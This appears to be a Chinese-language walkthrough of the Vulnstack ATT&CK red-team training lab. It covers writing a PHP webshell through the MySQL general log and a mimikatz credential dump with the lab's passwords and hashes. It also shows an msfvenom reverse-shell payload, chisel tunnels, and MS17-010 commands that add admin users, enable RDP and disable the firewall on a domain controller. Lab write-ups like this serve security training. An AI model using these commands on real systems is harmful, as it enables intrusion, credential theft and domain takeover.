ATT&CK红队评估实战靶场一打靶记录

环境配置

下载地址：
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

配置内网环境

win7配置两个网卡

win2008，win2003 都选择VMnet2模式

Win7需要启动php环境

web渗透

nmap扫描

使用nmap扫描，该目标只开启了80，3306

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45

3306/tcp open  mysql   MySQL (unauthorized)

80端口访问，是个phpStudy 探针

dirsearch

使用dirsearch扫描目录

http://192.168.0.100/phpmyadmin/
使用弱口令root,root 登录phpmyadmin

全局日志写shell

SHOW VARIABLES LIKE '%general%'
set global general_log = on;
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
select '<?php eval($_POST['a']);?>'

#写完shell 恢复日志路径
set global general_log_file='C:\phpStudy\MySQL\data\stu1.log';
set global general_log = off;

依次执行上面命令，就成功在WWW跟目录写入一个shell.php

内网渗透

mimikatz 导出哈希

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

Using 'mimikatz.log' for logfile : OK

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonPasswords full

Authentication Id : 0 ; 2443298 (00000000:00254822)
Session           : Interactive from 1
User Name         : Administrator
Domain            : GOD
Logon Server      : OWA
Logon Time        : 2023/7/31 11:05:16
SID               : S-1-5-21-2952760202-1353902439-2381784089-500
	msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : GOD
	 * LM       : edea194d76c77d87840ac10a764c7362
	 * NTLM     : 8a963371a63944419ec1adf687bb1be5
	 * SHA1     : 343f44056ed02360aead5618dd42e4614b5f70cf
	tspkg :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : hongrisec@2019
	wdigest :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : hongrisec@2019
	kerberos :	
	 * Username : Administrator
	 * Domain   : GOD.ORG
	 * Password : hongrisec@2019
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2023/7/31 11:04:35
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : STU1$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2023/7/31 11:04:34
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : STU1$
	 * Domain   : GOD
	 * NTLM     : caf49a86da448e98761742511fecb579
	 * SHA1     : d3de975005069892392ef27888bbe8ce6ef6afbd
	tspkg :	
	wdigest :	
	 * Username : STU1$
	 * Domain   : GOD
	 * Password : 9a d8 a0 78 17 12 30 92 6b d5 04 50 38 eb 60 53 82 30 0e a5 c7 9d ea 72 81 2e 0e 3d ad 3a f6 02 15 c5 2d 6e 28 e6 f3 63 83 ff 33 b1 d1 aa 59 6b d2 43 64 7e db aa 2e 90 25 f0 09 51 9d 88 86 58 ba 88 19 82 f2 ae a2 dc d1 06 98 18 51 03 50 e7 f0 49 28 4e db 19 d5 6c 5c ec 7f b7 65 17 2a d2 f7 66 b6 54 2c 7b 21 6f 10 e6 d8 76 53 cf fa 9a a6 27 1f 87 01 76 77 8d 87 a7 93 b4 ff 21 9c 01 be 9c 89 62 82 1a 33 6f d9 b8 76 fc 05 24 5a 01 a7 0e c0 0a 41 34 91 85 13 6b ec 70 88 91 2e 54 b7 8a 0a 0d 79 07 0b a1 53 84 f1 50 60 bc a1 86 9b db ad 49 0d bc 54 70 fc b3 f1 05 28 ef e6 f2 21 98 90 e9 b6 33 9b 61 a9 98 84 78 09 ad 74 13 bc 97 ad 72 34 98 9a 61 c9 e3 3b 4c aa 19 d1 5d 03 6c ad db 2c 85 77 43 6c 1f d9 1e f7 1a 3f 4b 
	kerberos :	
	 * Username : stu1$
	 * Domain   : GOD.ORG
	 * Password : 9a d8 a0 78 17 12 30 92 6b d5 04 50 38 eb 60 53 82 30 0e a5 c7 9d ea 72 81 2e 0e 3d ad 3a f6 02 15 c5 2d 6e 28 e6 f3 63 83 ff 33 b1 d1 aa 59 6b d2 43 64 7e db aa 2e 90 25 f0 09 51 9d 88 86 58 ba 88 19 82 f2 ae a2 dc d1 06 98 18 51 03 50 e7 f0 49 28 4e db 19 d5 6c 5c ec 7f b7 65 17 2a d2 f7 66 b6 54 2c 7b 21 6f 10 e6 d8 76 53 cf fa 9a a6 27 1f 87 01 76 77 8d 87 a7 93 b4 ff 21 9c 01 be 9c 89 62 82 1a 33 6f d9 b8 76 fc 05 24 5a 01 a7 0e c0 0a 41 34 91 85 13 6b ec 70 88 91 2e 54 b7 8a 0a 0d 79 07 0b a1 53 84 f1 50 60 bc a1 86 9b db ad 49 0d bc 54 70 fc b3 f1 05 28 ef e6 f2 21 98 90 e9 b6 33 9b 61 a9 98 84 78 09 ad 74 13 bc 97 ad 72 34 98 9a 61 c9 e3 3b 4c aa 19 d1 5d 03 6c ad db 2c 85 77 43 6c 1f d9 1e f7 1a 3f 4b 
	ssp :	
	credman :	

Authentication Id : 0 ; 51018 (00000000:0000c74a)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2023/7/31 11:04:34
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : STU1$
	 * Domain   : GOD
	 * NTLM     : caf49a86da448e98761742511fecb579
	 * SHA1     : d3de975005069892392ef27888bbe8ce6ef6afbd
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : STU1$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2023/7/31 11:04:34
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : STU1$
	 * Domain   : GOD
	 * Password : 9a d8 a0 78 17 12 30 92 6b d5 04 50 38 eb 60 53 82 30 0e a5 c7 9d ea 72 81 2e 0e 3d ad 3a f6 02 15 c5 2d 6e 28 e6 f3 63 83 ff 33 b1 d1 aa 59 6b d2 43 64 7e db aa 2e 90 25 f0 09 51 9d 88 86 58 ba 88 19 82 f2 ae a2 dc d1 06 98 18 51 03 50 e7 f0 49 28 4e db 19 d5 6c 5c ec 7f b7 65 17 2a d2 f7 66 b6 54 2c 7b 21 6f 10 e6 d8 76 53 cf fa 9a a6 27 1f 87 01 76 77 8d 87 a7 93 b4 ff 21 9c 01 be 9c 89 62 82 1a 33 6f d9 b8 76 fc 05 24 5a 01 a7 0e c0 0a 41 34 91 85 13 6b ec 70 88 91 2e 54 b7 8a 0a 0d 79 07 0b a1 53 84 f1 50 60 bc a1 86 9b db ad 49 0d bc 54 70 fc b3 f1 05 28 ef e6 f2 21 98 90 e9 b6 33 9b 61 a9 98 84 78 09 ad 74 13 bc 97 ad 72 34 98 9a 61 c9 e3 3b 4c aa 19 d1 5d 03 6c ad db 2c 85 77 43 6c 1f d9 1e f7 1a 3f 4b 
	kerberos :	
	 * Username : stu1$
	 * Domain   : GOD.ORG
	 * Password : 9a d8 a0 78 17 12 30 92 6b d5 04 50 38 eb 60 53 82 30 0e a5 c7 9d ea 72 81 2e 0e 3d ad 3a f6 02 15 c5 2d 6e 28 e6 f3 63 83 ff 33 b1 d1 aa 59 6b d2 43 64 7e db aa 2e 90 25 f0 09 51 9d 88 86 58 ba 88 19 82 f2 ae a2 dc d1 06 98 18 51 03 50 e7 f0 49 28 4e db 19 d5 6c 5c ec 7f b7 65 17 2a d2 f7 66 b6 54 2c 7b 21 6f 10 e6 d8 76 53 cf fa 9a a6 27 1f 87 01 76 77 8d 87 a7 93 b4 ff 21 9c 01 be 9c 89 62 82 1a 33 6f d9 b8 76 fc 05 24 5a 01 a7 0e c0 0a 41 34 91 85 13 6b ec 70 88 91 2e 54 b7 8a 0a 0d 79 07 0b a1 53 84 f1 50 60 bc a1 86 9b db ad 49 0d bc 54 70 fc b3 f1 05 28 ef e6 f2 21 98 90 e9 b6 33 9b 61 a9 98 84 78 09 ad 74 13 bc 97 ad 72 34 98 9a 61 c9 e3 3b 4c aa 19 d1 5d 03 6c ad db 2c 85 77 43 6c 1f d9 1e f7 1a 3f 4b 
	ssp :	
	credman :	

mimikatz(commandline) # exit
Bye!

查询当前主机是否在域

net config workstation

根据查询到的结果，当前主机在域 GOD 中 god.org

通过ipconfig 知道该主机双网卡

192.168.0.100
192.168.52.143

fscan 扫描内网

使用fscan扫描 192.168.52.0/24 ip端

fscan64.exe -h 192.168.52.0/24


192.168.52.143:3306 open
192.168.52.1:445 open
192.168.52.1:7680 open
192.168.52.141:7002 open
192.168.52.141:445 open
192.168.52.138:88 open
192.168.52.141:7001 open
192.168.52.141:8099 open
192.168.52.141:8098 open
192.168.52.138:445 open
192.168.52.143:445 open
192.168.52.1:139 open
192.168.52.141:139 open
192.168.52.143:139 open
192.168.52.138:139 open
192.168.52.141:135 open
192.168.52.143:135 open
192.168.52.1:135 open
192.168.52.138:135 open
192.168.52.138:80 open
192.168.52.143:80 open
192.168.52.141:21 open
[+] 192.168.52.143	MS17-010	(Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.52.143       GOD\STU1              Windows 7 Professional 7601 Service Pack 1
[+] NetInfo:
[*]192.168.52.1
   [->]xian
   [->]192.168.0.104
   [->]192.168.32.1
   [->]192.168.78.1
   [->]192.168.52.1
[+] NetInfo:
[*]192.168.52.138
   [->]owa
   [->]192.168.52.138
[*] 192.168.52.1         WORKGROUP\XIAN              
[*] 192.168.52.141       __MSBROWSE__\SNTL_ROOT-TVI86   
[+] NetInfo:
[*]192.168.52.141
   [->]root-tvi862ubeh
   [->]192.168.52.141
[*] WebTitle:http://192.168.52.141:7002 code:200 len:2632   title:Sentinel Keys License Monitor
[+] 192.168.52.141	MS17-010	(Windows Server 2003 3790)
[*] 192.168.52.138 [+]DC GOD\OWA               Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[+] 192.168.52.138	MS17-010	(Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] WebTitle:https://192.168.52.141:8098 code:401 len:1656   title:You are not authorized to view this page
[*] WebTitle:http://192.168.52.141:8099 code:403 len:1409   title:The page must be viewed over a secure channel
[*] WebTitle:http://192.168.52.138     code:200 len:689    title:IIS7
[+] ftp://192.168.52.141:21:anonymous 
[*] WebTitle:http://192.168.52.143     code:200 len:14749  title:phpStudy 探针 2014

整理内网资产

该网段IP三个，143为Win7也就是web服务器，有webshell的主机。
从fscan扫描出来的，141为Windows Server 2003，138为Windows Server 2008 R2

192.168.52.143
192.168.52.141
192.168.52.138

Windows Server 2003

开放的端口

192.168.52.141:7002 open
192.168.52.141:445 open
192.168.52.141:7001 open
192.168.52.141:8099 open
192.168.52.141:8098 open
192.168.52.141:139 open
192.168.52.141:135 open
192.168.52.141:21 open

[*] WebTitle:https://192.168.52.141:8098 code:401 len:1656   title:You are not authorized to view this page
[*] WebTitle:http://192.168.52.141:8099 code:403 len:1409   title:The page must be viewed over a secure channel

扫描出来的漏洞 和 密码

[+] 192.168.52.141	MS17-010
[+] ftp://192.168.52.141:21:anonymous 
[*]192.168.52.141
   [->]root-tvi862ubeh
   [->]192.168.52.141

Windows Server 2008 域控

开放的端口

192.168.52.138:80 open
192.168.52.138:135 open
192.168.52.138:139 open
192.168.52.138:445 open
192.168.52.138:88 open

扫描出来的漏洞

[*] 192.168.52.138 [+]DC GOD\OWA               Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[+] 192.168.52.138	MS17-010	(Windows Server 2008 R2 Datacenter 7601 Service Pack 1)

上线Metasploit

生成payload

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=4444 -f exe -o 1.exe

配置环境

use exploit/multi/handler  
set payload windows/meterpreter/reverse_tcp  
set LHOST  
set LPORT

搭建内网隧道

在攻击机执行下面代码

chisel.exe server -p 12345 --reverse

内网主机执行下面代码

chisel.exe client 192.168.0.101:12345 R:socks

使用MS17-010漏洞攻击

msf 设置路由

在当前shell中添加自动路由
run post/multi/manage/autoroute
#查看路由信息
run autoroute -p

漏洞利用

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set COMMAND whoami  #执行查询的命令
run

执行添加用户命令

set command net user testss admin@123 /add  #添加用户；  
set command net localgroup administrators testss /add   #添加管理员权限；

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'  #执行命令开启3389端

端口转发

将192.168.52.141 机器的3389端口转发到本地攻击机上

本地攻击机执行

chisel.exe server -p 12345 --reverse

内网机器执行

chisel.exe client 192.168.0.101:12345 R:1234:192.168.52.141:3389

使用添加的用户进行登录 testss admin@123

域控

还是使用ms17-010这个exp来打

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set COMMAND whoami  #执行查询的命令
run


set command net user test01 hongrisec@2020 /add  #添加用户；  
set command net localgroup administrators test01 /add   #添加管理员权限；

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'  #执行命令开启3389端

关闭防火墙
set command netsh firewall set opmode mode=disable

用chisel工具转发3389

本地攻击机执行

chisel.exe server -p 12345 --reverse

内网机器执行

chisel.exe client 192.168.0.101:12345 R:1234:192.168.52.138:3389

使用添加的账户密码登录域控机器

god.org\test01 hongrisec@2020

使用mimikatz 抓取哈希和明文密码

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

Authentication Id : 0 ; 413166 (00000000:00064dee)
Session           : Interactive from 1
User Name         : liukaifeng01
Domain            : GOD
Logon Server      : OWA
Logon Time        : 2023/8/1 11:52:06
SID               : S-1-5-21-2952760202-1353902439-2381784089-1000
	msv :	
	 [00000003] Primary
	 * Username : liukaifeng01
	 * Domain   : GOD
	 * LM       : edea194d76c77d87d5f7fffc086227d3
	 * NTLM     : 81be2f80d568100549beac645d6a7141
	 * SHA1     : 216d52c4efa68532a98c8cbe2b492634d175fa84
	tspkg :	
	 * Username : liukaifeng01
	 * Domain   : GOD
	 * Password : hongrisec@2020
	wdigest :	
	 * Username : liukaifeng01
	 * Domain   : GOD
	 * Password : hongrisec@2020
	kerberos :	
	 * Username : liukaifeng01
	 * Domain   : GOD.ORG
	 * Password : hongrisec@2020

获取到了用户liukaifeng01密码 hongrisec@2020

3389登录liukaifeng01用户

总结：

• phpmyadmin日志拿shell
• chisel 搭建隧道和端口转发
• mimikatz 抓取密码
• MS17-010漏洞
• MSF
• fscan内网扫描